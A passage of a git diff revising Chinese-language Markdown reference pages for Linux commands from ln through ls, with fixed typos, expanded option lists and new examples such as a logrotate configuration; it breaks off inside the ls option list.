+符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。 -!符号连接 +```shell +$ ls -il +total 0 +922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt +922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt +``` -与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。 +与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的索引节点号;而硬链接并没有建立新文件。 符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。 @@ -106,7 +173,7 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 * 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。 * 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。 * 符号链接的大小是其链接文件的路径名中的字节数。 -* 当用`ln -s`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。 +* 当用`ls -l`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。 + - diff --git a/command/lnstat.md b/command/lnstat.md index 458c783aac3..7d2edcfcf75 100644 --- a/command/lnstat.md +++ b/command/lnstat.md @@ -7,13 +7,13 @@ lnstat **lnstat命令** 用来显示Linux系统的网路状态。 -### 语法 +### 语法 ```shell lnstat(选项) ``` -### 选项 +### 选项 ```shell -h:显示帮助信息; @@ -27,4 +27,3 @@ lnstat(选项) ``` - \ No newline at end of file diff --git a/command/local.md b/command/local.md new file mode 100644 index 00000000000..ad2fd4e27ff --- /dev/null +++ b/command/local.md @@ -0,0 +1,50 @@ +local +=== + +在函数内定义局部变量。 + +## 概要 + +```shell +local [-aAfFgilnrtux] [-p] [name[=value] ...] +``` + +## 主要用途 + +- 在函数内定义局部变量 +- 显示局部变量 +- 在函数内定义全局变量 + +## 选项 + +```shell +local命令的选项与declare命令的相同,请参考declare命令的选项。 +``` + +## 参数 + +name(可选):变量名或已定义函数名。 + +value(可选):变量的值。 + +## 返回值 + +`local`返回true除非你提供了非法选项、赋值错误或是在函数外使用`local`命令。 + +## 例子 + +```shell +相关例子请参考declare命令 +``` + +## 错误用法 + +- 在函数外使用该命令。 + + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令以及`man bash`、`info bash`的相应部分。 + + + diff --git a/command/locate.md b/command/locate.md index b03826ca811..fd1cdc36ac8 100644 --- a/command/locate.md +++ b/command/locate.md @@ -16,27 +16,41 @@ locate指令和find找寻档案的功能类似,但locate是透过update程序 ### 语法 ```shell -locate [选择参数] [样式] +locate [-d path | --database=path] [-e | -E | --[non-]existing] [-i | + --ignore-case] [-0 | --null] [-c | --count] [-w | --wholename] [-b | + --basename] [-l N | --limit=N] [-S | --statistics] [-r | --regex ] + [--regextype R] [--max-database-age D] [-P | -H | --nofollow] [-L | + --follow] [--version] [-A | --all] [-p | --print] [--help] pattern... ``` ### 选项 ```shell --e 将排除在寻找的范围之外。 --1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 --f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。 --q 安静模式,不会显示任何错误讯息。 --n 至多显示 n个输出。 --r 使用正规运算式 做寻找的条件。 --o 指定资料库存的名称。 --d 指定资料库的路径 --h 显示辅助讯息 --V 显示程式的版本讯息 +-b, --basename # 仅匹配路径名的基本名称 +-c, --count # 只输出找到的数量 +-d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db +-e, --existing # 仅打印当前现有文件的条目 +-1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 +-0, --null # 在输出上带有NUL的单独条目 +-S, --statistics # 不搜索条目,打印有关每个数据库的统计信息 +-q # 安静模式,不会显示任何错误讯息。 +-P, --nofollow, -H # 检查文件存在时不要遵循尾随的符号链接 +-l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目 +-n # 至多显示 n个输出。 +-m, --mmap # 被忽略,为了向后兼容 +-r, --regexp REGEXP # 使用基本正则表达式 + --regex # 使用扩展正则表达式 +-q, --quiet # 安静模式,不会显示任何错误讯息 +-s, --stdio # 被忽略,为了向后兼容 +-o # 指定资料库存的名称。 +-h, --help # 显示帮助 +-i, --ignore-case # 忽略大小写 +-V, --version # 显示版本信息 ``` ### 实例 -实例1:查找和pwd相关的所有文件 +实例1:查找和 `pwd` 相关的所有文件 ```shell root ~ # locate pwd @@ -57,7 +71,7 @@ root ~ # locate pwd /usr/share/help/el/empathy/irc-join-pwd.page ``` -实例2: 搜索etc目录下所有以sh开头的文件 +实例2: 搜索 etc 目录下所有以 sh 开头的文件 ```shell root ~ # locate /etc/sh @@ -78,4 +92,9 @@ root ~ # locate /etc/m /etc/mate-settings-daemon ``` - +忽略大小写搜索当前用户目录下所有以 `r` 开头的文件 : + +```shell +locate -i ~/r +``` + diff --git a/command/logger.md b/command/logger.md index 96d505cd857..e1d345a6c66 100644 --- a/command/logger.md +++ b/command/logger.md @@ -7,13 +7,13 @@ logger **logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块 -### 语法 +### 语法 ```shell logger [options] [message] ``` -### 选项 +### 选项 ```shell -T, --tcp 使用流连接(TCP) @@ -39,4 +39,4 @@ logger -p syslog.info "backup.sh is starting" ``` - + diff --git a/command/login.md b/command/login.md index fa3d409d220..0b77bf4a5b2 100644 --- a/command/login.md +++ b/command/login.md @@ -7,22 +7,21 @@ login **login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。 -### 语法 +### 语法 ```shell login(选项)(参数) ``` -### 选项 +### 选项 ```shell -p:告诉login指令不销毁环境变量; -h:指定远程服务器的主机名。 ``` -### 参数 +### 参数 用户名:指定登录使用的用户名。 - \ No newline at end of file diff --git a/command/logname.md b/command/logname.md index 9bef5cf1623..763a0c9040b 100644 --- a/command/logname.md +++ b/command/logname.md @@ -1,24 +1,40 @@ logname === -用来显示用户名称 +打印当前终端登录用户的名称。 -## 补充说明 +## 概要 -**logname命令** 用来显示用户名称。 +```shell +logname [OPTION]... +``` + +## 主要用途 -### 语法 +- 打印当前终端登录用户的名称。 + +## 选项 ```shell -logname(选项) +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 选项 +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 ```shell ---help:在线帮助; ---vesion:显示版本信息。 +[root@localhost ~]# logname +root ``` +### 注意 + +1. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, `whoami`返回的是当前用户 `user2`, `logname` 返回的是 `root`,大家可以自行实践验证一下。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 logname`,`info coreutils 'logname invocation'`。 + - \ No newline at end of file diff --git a/command/logout.md b/command/logout.md index d6387e4e1c4..56d97325dd7 100644 --- a/command/logout.md +++ b/command/logout.md @@ -7,11 +7,10 @@ logout **logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。 -### 语法 +### 语法 ```shell logout ``` - \ No newline at end of file diff --git a/command/logrotate.md b/command/logrotate.md index aef23ae2e62..ceb668afb73 100644 --- a/command/logrotate.md +++ b/command/logrotate.md @@ -1,19 +1,19 @@ logrotate === -统日志进行轮转、压缩和删除 +系统日志进行轮转、压缩和删除 ## 补充说明 **logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。 -### 语法 +### 语法 ```shell logrotate(选项)(参数) ``` -### 选项 +### 选项 ```shell -?或--help:在线帮助; @@ -24,9 +24,75 @@ logrotate(选项)(参数) -usage:显示指令基本用法。 ``` -### 参数 +### 参数 配置文件:指定lograote指令的配置文件。 +### 实例 + +crontab 会定时调用logrotate命令 在 `/etc/cron.daily/logrotate` 文件中配置使用 + +logrotate的配置文件`/etc/logrotate.conf` 定义引用`/etc/logrotate.d`目录下的一些自定义的log配置 + +在`/etc/logrotate.d`目录下创建任意后缀名的文件,即可使用对日志进行轮转 +```shell +/tmp/log/log.txt +{ + copytruncate + daily + rotate 30 + missingok + ifempty + compress + noolddir +} +``` + +这个配置文件代表的意思是将`/tmp/log/log.txt`文件 进行轮转压缩 + +``` +compress 通过gzip 压缩转储以后的日志 +nocompress 不做gzip压缩处理 +copytruncate 用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。 +nocopytruncate 备份日志文件不过不截断 +create mode owner group 轮转时指定创建新文件的属性,如create 0777 nobody nobody +nocreate 不建立新的日志文件 +delaycompress 和compress 一起使用时,转储的日志文件到下一次转储时才压缩 +nodelaycompress 覆盖 delaycompress 选项,转储同时压缩 +missingok 如果日志丢失,不报错继续滚动下一个日志 +errors address 专储时的错误信息发送到指定的Email 地址 +ifempty 即使日志文件为空文件也做轮转,这个是logrotate的缺省选项。 +notifempty 当日志文件为空时,不进行轮转 +mail address 把转储的日志文件发送到指定的E-mail 地址 +nomail 转储时不发送日志文件 +olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统 +noolddir 转储后的日志文件和当前日志文件放在同一个目录下 +sharedscripts 运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本 +prerotate 在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行 +postrotate 在logrotate转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行 +daily 指定转储周期为每天 +weekly 指定转储周期为每周 +monthly 指定转储周期为每月 +rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份 +dateext 使用当期日期作为命名格式 +dateformat .%s 配合dateext使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合dateext使用,只支持 %Y %m %d %s 这四个参数 +size(或minsize) log-size 当日志文件到达指定的大小时才转储 +``` +### 注意事项 + +在`/etc/logrotate.d`目录下创建任意后缀名的文件 +```shell +/tmp/log/log* +{ + copytruncate + daily + rotate 30 + missingok + ifempty + compress + noolddir +} +``` +这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的 + - \ No newline at end of file diff --git a/command/logsave.md b/command/logsave.md index 2d65171fccf..586e20f4d8c 100644 --- a/command/logsave.md +++ b/command/logsave.md @@ -7,22 +7,21 @@ logsave **logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。 -### 语法 +### 语法 ```shell logsave(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:追加信息到指定的日志文件中。 ``` -### 参数 +### 参数 * 日志文件:指定记录运行信息的日志文件; * 指令:需要执行的指令。 - \ No newline at end of file diff --git a/command/logwatch.md b/command/logwatch.md index 34bc3ade07e..b0c7f6c091d 100644 --- a/command/logwatch.md +++ b/command/logwatch.md @@ -7,13 +7,13 @@ logwatch **logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。 -### 语法 +### 语法 ```shell logwatch(选项) ``` -### 选项 +### 选项 ```shell --detail<报告详细程度>:指定日志报告的详细程度; @@ -31,7 +31,7 @@ logwatch(选项) --help:显示指令的帮助信息。 ``` -### 实例 +### 实例 检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧): @@ -68,4 +68,3 @@ logwatch --service sshd --detail High 只看sshd的日志 ``` - \ No newline at end of file diff --git a/command/look.md b/command/look.md index 0664587da7c..719fb211a7c 100644 --- a/command/look.md +++ b/command/look.md @@ -7,13 +7,13 @@ look **look命令** 用于显示文件中以指定字符串开头的任意行。 -### 语法 +### 语法 ```shell look(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:使用另一个字典文件web2,该文件也位于/usr/dict目录下; @@ -22,10 +22,9 @@ look(选项)(参数) -t<字尾字符串>:设置字尾字符串。 ``` -### 参数 +### 参数 * 字符串:指定要查找的字符串; * 文件:指定要查找的目标文件。 - \ No newline at end of file diff --git a/command/losetup.md b/command/losetup.md index 889608c9f8b..bedaea698b2 100644 --- a/command/losetup.md +++ b/command/losetup.md @@ -7,14 +7,14 @@ losetup **losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。 -### 语法 +### 语法 ```shell losetup [ -e encryption ] [ -o offset ] loop_device file losetup [ -d ] loop_device ``` -### 选项 +### 选项 ```shell -a 显示所有循环设备的状态。 @@ -24,12 +24,12 @@ losetup [ -d ] loop_device -o <偏移量>设置数据偏移量,单位是字节。 ``` -### 参数 +### 参数 * loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。 * file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img -### loop设备介绍 +### loop设备介绍 在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。 @@ -37,7 +37,7 @@ losetup [ -d ] loop_device 至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。 -### 实例 +### 实例 创建空的磁盘镜像文件,这里创建一个1.44M的软盘: @@ -45,7 +45,7 @@ losetup [ -d ] loop_device dd if=/dev/zero of=floppy.img bs=512 count=2880 ``` -使用 losetup将磁盘镜像文件虚拟成快设备: +使用 losetup 将磁盘镜像文件虚拟成块设备: ```shell losetup /dev/loop1 floppy.img @@ -57,7 +57,7 @@ losetup /dev/loop1 floppy.img mount /dev/loop0 /tmp ``` -经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。 +经过上面的三步之后,我们就可以通过/tmp目录,像访问真实块设备一样来访问磁盘镜像文件floppy.img。 卸载loop设备: @@ -67,4 +67,3 @@ losetup -d /dev/loop1 ``` - \ No newline at end of file diff --git a/command/lp.md b/command/lp.md index c29927ba555..1bbd79a04d8 100644 --- a/command/lp.md +++ b/command/lp.md @@ -7,13 +7,13 @@ lp **lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。 -### 语法 +### 语法 ```shell lp(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:与打印服务器连接时强制使用加密; @@ -27,11 +27,11 @@ lp(选项)(参数) -P:指定需要打印的页码。 ``` -### 参数 +### 参数 文件:需打印的文件。 -### 实例 +### 实例 要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入: @@ -71,4 +71,3 @@ lp -s myfile * >0:没有输出设备可用,或者出现一个错误。 - \ No newline at end of file diff --git a/command/lpadmin.md b/command/lpadmin.md index 9fd1d69af81..5b0831e238b 100644 --- a/command/lpadmin.md +++ b/command/lpadmin.md @@ -7,13 +7,13 @@ lpadmin **lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。 -### 语法 +### 语法 ```shell lpadmin(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:将打印机加入类; @@ -30,9 +30,8 @@ lpadmin(选项)(参数) -d:设置默认打印机。 ``` -### 参数 +### 参数 打印机:指定要配置的打印机的名称。 - \ No newline at end of file diff --git a/command/lpc.md b/command/lpc.md index e08a0481448..acec76636fe 100644 --- a/command/lpc.md +++ b/command/lpc.md @@ -7,13 +7,13 @@ lpc **lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 -### 语法 +### 语法 ```shell lpc ``` -### 实例 +### 实例 ```shell [root@localhost ~]# lpc @@ -25,4 +25,3 @@ lpc> exit ``` - \ No newline at end of file diff --git a/command/lpq.md b/command/lpq.md index 289d8ec95a3..777b49eccba 100644 --- a/command/lpq.md +++ b/command/lpq.md @@ -7,13 +7,13 @@ lpq **lpq命令** 用于显示打印队列中的打印任务的状态信息。 -### 语法 +### 语法 ```shell lpq(选项) ``` -### 选项 +### 选项 ```shell -E:强制使用加密方式与服务器连接; @@ -26,4 +26,3 @@ lpq(选项) ``` - \ No newline at end of file diff --git a/command/lpr.md b/command/lpr.md index 1391f4fb7bd..da45d70e2bf 100644 --- a/command/lpr.md +++ b/command/lpr.md @@ -7,13 +7,13 @@ lpr **lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。 -### 语法 +### 语法 ```shell lpr(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:与打印服务器连接时强制使用加密; @@ -27,11 +27,11 @@ lpr(选项)(参数) -r:打印完成后删除文件。 ``` -### 参数 +### 参数 文件:需打印的文件。 -### 实例 +### 实例 将man1和man2送到打印机lp进行打印: @@ -40,4 +40,3 @@ lpr -P lp man1 man2 ``` - \ No newline at end of file diff --git a/command/lprm.md b/command/lprm.md index 5571e8c730f..fba555654b5 100644 --- a/command/lprm.md +++ b/command/lprm.md @@ -7,13 +7,13 @@ lprm **lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。 -### 语法 +### 语法 ```shell lprm(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:与打印服务器连接时强制使用加密; @@ -21,11 +21,11 @@ lprm(选项)(参数) -U:指定可选的用户名。 ``` -### 参数 +### 参数 打印任务:指定需删除的打印任务号。 -### 实例 +### 实例 将打印机hpprint中的第102号任务移除: @@ -40,4 +40,3 @@ lprm 101 ``` - \ No newline at end of file diff --git a/command/lpstat.md b/command/lpstat.md index 8a7897d941d..0cfe916f7d0 100644 --- a/command/lpstat.md +++ b/command/lpstat.md @@ -7,13 +7,13 @@ lpstat **lpstat命令** 用于显示CUPS中打印机的状态信息。 -### 语法 +### 语法 ```shell lpstat(选项) ``` -### 选项 +### 选项 ```shell -E:与打印机连接时加密; @@ -30,4 +30,3 @@ lpstat(选项) ``` - \ No newline at end of file diff --git a/command/ls.md b/command/ls.md index 7fc2588c861..cf09d587b1a 100644 --- a/command/ls.md +++ b/command/ls.md @@ -5,131 +5,188 @@ ls ## 补充说明 -**ls命令** 用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。 +**ls命令** 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。 -### 语法 +### 语法 ```shell -ls(选项)(参数) +ls [选项] [文件名...] + [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] + [--format={long,verbose,commas,across,vertical,single-col‐umn}] + [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] + [--color[={none,auto,always}]] [--help] [--version] [--] ``` -### 选项 +### 选项 ```shell --a, --all # 不隐藏任何以. 开始的项目 --A, --almost-all # 列出除. 及.. 以外的任何项目 - --author # 与-l 同时使用时列出每个文件的作者 --b, --escape # 以八进制溢出序列表示不可打印的字符 - --block-size=SIZE # scale sizes by SIZE before printing them; e.g., - # '--block-size=M' prints sizes in units of - # 1,048,576 bytes; see SIZE format below --B, --ignore-backups # do not list implied entries ending with ~ --c # with -lt: sort by, and show, ctime (time of last - # modification of file status information); - # with -l: show ctime and sort by name; - # otherwise: sort by ctime, newest first --C # list entries by columns - --color[=WHEN] # colorize the output; WHEN can be 'never', 'auto', - # or 'always' (the default); more info below --d, --directory # list directories themselves, not their contents --D, --dired # generate output designed for Emacs' dired mode --f # do not sort, enable -aU, disable -ls --color --F, --classify # append indicator (one of */=>@|) to entries - --file-type # likewise, except do not append '*' - --format=WORD # across -x, commas -m, horizontal -x, long -l, - # single-column -1, verbose -l, vertical -C - --full-time # like -l --time-style=full-iso --g # 类似-l,但不列出所有者 - --group-directories-first - # group directories before files; - # can be augmented with a --sort option, but any - # use of --sort=none (-U) disables grouping --G, --no-group # 以一个长列表的形式,不输出组名 --h, --human-readable # 与-l 一起,以易于阅读的格式输出文件大小 - (例如 1K 234M 2G) - --si # 同上面类似,但是使用1000 为基底而非1024 --H, --dereference-command-line - # follow symbolic links listed on the command line - --dereference-command-line-symlink-to-dir - # follow each command line symbolic link - # that points to a directory - --hide=PATTERN # do not list implied entries matching shell PATTERN - # (overridden by -a or -A) - --indicator-style=WORD # append indicator with style WORD to entry names: - # none (default), slash (-p), - # file-type (--file-type), classify (-F) --i, --inode # print the index number of each file --I, --ignore=PATTERN # do not list implied entries matching shell PATTERN --k, --kibibytes # default to 1024-byte blocks for disk usage --l # 使用较长格式列出信息 --L, --dereference # 当显示符号链接的文件信息时,显示符号链接所指示 - # 的对象而并非符号链接本身的信息 --m # 所有项目以逗号分隔,并填满整行行宽 --n, --numeric-uid-gid # 类似 -l,但列出UID 及GID 号 --N, --literal # 输出未经处理的项目名称 (如不特别处理控制字符) --o # 类似 -l,但不列出有关组的信息 --p, --indicator-style=slash # 对目录加上表示符号"/" --q, --hide-control-chars # print ? instead of nongraphic characters - --show-control-chars # show nongraphic characters as-is (the default, - # unless program is 'ls' and output is a terminal) --Q, --quote-name # enclose entry names in double quotes - --quoting-style=WORD # use quoting style WORD for entry names: - # literal, locale, shell, shell-always, c, escape --r, --reverse # 逆序排列 --R, --recursive # 递归显示子目录 --s, --size # 以块数形式显示每个文件分配的尺寸 --S # sort by file size - --sort=WORD # sort by WORD instead of name: none (-U), size (-S), - # time (-t), version (-v), extension (-X) - --time=WORD # with -l, show time as WORD instead of default - # modification time: atime or access or use (-u) - # ctime or status (-c); also use specified time - # as sort key if --sort=time - --time-style=STYLE # with -l, show times using style STYLE: - # full-iso, long-iso, iso, locale, or +FORMAT; - # FORMAT is interpreted like in 'date'; if FORMAT - # is FORMAT1FORMAT2, then FORMAT1 applies - # to non-recent files and FORMAT2 to recent files; - # if STYLE is prefixed with 'posix-', STYLE - # takes effect only outside the POSIX locale --t # sort by modification time, newest first --T, --tabsize=COLS # assume tab stops at each COLS instead of 8 --u # with -lt: sort by, and show, access time; - # with -l: show access time and sort by name; - # otherwise: sort by access time --U # do not sort; list entries in directory order --v # natural sort of (version) numbers within text --w, --width=COLS # assume screen width instead of current value --x # list entries by lines instead of by columns --X # sort alphabetically by entry extension --1 # list one file per line - -SELinux options: - ---lcontext # Display security context. Enable -l. Lines - # will probably be too wide for most displays. --Z, --context # Display security context so it fits on most - # displays. Displays only mode, user, group, - # security context and file name. ---scontext # Display only security context and file name. - --help # 显示此帮助信息并退出 - --version # 显示版本信息并退出 +-C # 多列输出,纵向排序。 +-F # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。 +-R # 递归列出遇到的子目录。 +-a # 列出所有文件,包括以 "." 开头的隐含文件。 +-c # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。 +-d # 将目录名像其它文件一样列出,而不是列出它们的内容。 +-i # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l 列出(以单列格式)文件模式 + # (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。 + # 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件, + # 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。 +-q # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。) +-r # 逆序排列。 +-t # 按时间信息排序。 +-u # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。 +-1 # 单列输出。 +-1, --format=single-column # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。 +-a, --all # 列出目录中所有文件,包括以“.”开头的文件。 +-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。 +-c, --time=ctime, --time=status + # 按文件状态改变时间(i节点中的ctime)排序并输出目录内 + # 容。如采用长格式输出(选项“-l”),使用文件的状态改 + # 变时间取代文件修改时间。【译注:所谓文件状态改变(i节 + # 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】 +-d, --directory + # 将目录名像其它文件一样列出,而不是列出它们的内容。 +-f # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、 + # “ - -color ”或“ -s ”,则禁止它们。 +-g # 忽略,为兼容UNIX用。 +-i, --inode + # 在每个文件左边打印 i 节点号(也叫文件序列号和索引号: file serial number and index num‐ + # ber)。i节点号在每个特定的文件系统中是唯一的。 +-k, --kilobytes + # 如列出文件大小,则以千字节KB为单位。 +-l, --format=long, --format=verbose + # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte) + # 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来 + # 1小时的文件,时间信息中的时分将被年代取代。 + # 每个目录列出前,有一行“总块数”显示目录下全部文件所占的磁盘空间。块默认是1024字节; + # 如果设置了 POSIXLY_CORRECT 的环境变量,除非用“-k”选项,则默认块大小是 512 字节。 + # 每一个硬链接都计入总块数(因此可能重复计数),这无 疑是个缺点。 + +# 列出的权限类似于以符号表示(文件)模式的规范。但是 ls + # 在每套权限的第三个字符中结合了多位( multiple bits ) 的信息,如下: s 如果设置了 setuid + # 位或 setgid 位,而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid + # 位,但是没有设置相应的可执行位。 t 如果设置了 sticky 位,而且也设置了相应的可执行位。 T + # 如果设置了 sticky 位,但是没有设置相应的可执行位。 x + # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。 +-m, --format=commas + # 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。 +-n, --numeric-uid-gid + # 列出数字化的 UID 和 GID 而不是用户名和组名。 +-o # 以长格式列出目录内容,但是不显示组信息。等于使用“ --format=long --no-group + # ”选项。提供此选项是为了与其它版本的 ls 兼容。 +-p # 在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。 +-q, --hide-control-chars + # 用问号代替文件名中非打印的字符。这是缺省选项。 +-r, --reverse + # 逆序排列目录内容。 +-s, --size + # 在每个文件名左侧输出该文件的大小,以 1024 字节的块为单位。如果设置了 POSIXLY_CORRECT + # 的环境变量,除非用“ -k ”选项,块大小是 512 字节。 +-t, --sort=time + # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。 +-u, --time=atime, --time=access, --time=use + # 类似选项“ -t ”,但是用文件最近访问时间( i 节点中的 atime )取代文件修 + # 改时间。如果使用长格式列出,打印的时间是最近访问时间。 +-w, --width cols + # 假定屏幕宽度是 cols ( cols 以实际数字取代)列。如未用此选项,缺省值是这 + # 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量 COLUMNS (如果设 + # 置了的话),都不行则取 80 。 + +-x, --format=across, --format=horizontal + # 多列输出,横向排序。 + +-A, --almost-all + # 显示除 "." 和 ".." 外的所有文件。 + +-B, --ignore-backups + # 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。 + +-C, --format=vertical + # 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。 + +-D, --dired + # 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行: //DIRED// BEG1 END1 BEG2 + # END2 ... + +# BEGn 和 ENDn 是无符号整数,记录每个文件名的起始、结束位置在输出中的位置( +# 字节偏移量)。这使得 Emacs 易于找到文件名,即使文件名包含空格或换行等非正 +# 常字符也无需特异的搜索。 +# +# 如果目录是递归列出的(“ -R ”选项),每个子目录后列出类似一行: + # //SUBDIRED// BEG1 END1 ... 【译注:我测试了 TurboLinux4.0 和 RedHat6.1 ,发现它们都是在 “ + # //DIRED// BEG1... ”之后列出“ //SUBDIRED// BEG1 ... ”,也即只有一个 + # 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】 + +-F, --classify, --file-type + # 在每个文件名后附上一个字符以说明该文件的类型。“ * ”表示普通的可执行文件; “ / ”表示目录;“ + # @ ”表示符号链接;“ | ”表示FIFOs;“ = ”表示套接字 (sockets) 